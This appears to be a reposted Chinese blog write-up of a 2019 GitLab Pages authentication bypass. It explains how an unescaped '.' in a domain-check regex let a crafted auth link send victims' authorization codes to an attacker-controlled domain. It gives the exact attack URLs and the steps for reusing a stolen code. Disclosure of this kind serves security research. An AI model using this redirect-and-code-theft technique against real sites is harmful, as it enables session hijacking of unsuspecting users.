gitlab漏洞系列-Gitlab Pages Auth Bypass
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
香港白帽ngalog于2019年10月份向gitlab提交了这个漏洞:
在gitlab.com中绕过了gitlab页面认证的正则表达式
复现步骤
1.登录gitlab,然后访问https://projects.gitlab.io/auth?domain=https://ronchangitlab.io&state=xdgnwM0hmRQ7g5xoevNV6g==
2.然后攻击者可以在ronchangitlab
中获取访问授权代码。然后他们可以用它来交换受害者的gitlab网页cookie
在受害者访问这个链接https://projects.gitlab.io/auth?domain=https://ronchangitlab.io&state=xdgnwM0hmRQ7g5xoevNV6g==
之后 受害者被重定向到https://ronchangitlab.io/auth?code=458b99a98056ab28dcd0f8049a2dad418c299aca0a98738afb6c7f4e07573b4c&state=xdgnwM0hmRQ7g5xoevNV6g%3D%3D
,授权代码附加到url的查询部分。因为ronchangitlab.io
在攻击者的控制下,现在攻击者可以使用受害者的授权代码,并在projects.gitlab.io/auth?code= s_auth_code
在gitlab页面中验证为受害者
正则表达式绕过细节
对于 https://projects.gitlab.io/auth?domain=https://ronchangitlab.io&state=xdgnwM0hmRQ7g5xoevNV6g==
中的参数domain
域: https://www.google.com ->失败(401) 使用授权代码https://anything.gitlab.io ->成功(302) 使用授权代码https://ronchangitlab.io ->成功(302) 正则表达式是用.
绕过,我认为后端是在domain中使用.
,而.
是正则表达式中的通配符,这使得这种绕过成为可能
受害者访问此链接后https://projects.gitlab.io/auth?domain=https://ronchangitlab.io&state=xdgnwM0hmRQ7g5xoevNV6g==
受害者被重定向到https://ronchangitlab.io/auth?code=458b99a98056ab28dcd0f8049a2dad418c299aca0a98738afb6c7f4e07573b4c&state=xdgnwM0hmRQ7g5xoevNV6g%3D%3D并在 url 的查询部分附加授权码。
由于 ronchangitlab.io 处于攻击者的控制之下,现在攻击者可以使用受害者的授权码,并在 projects.gitlab.io/auth?code=VICTIMS_AUTH_CODE 中使用它在 gitlab 页面中作为受害者进行身份验证
原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-Gitlab Pages Auth Bypass
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论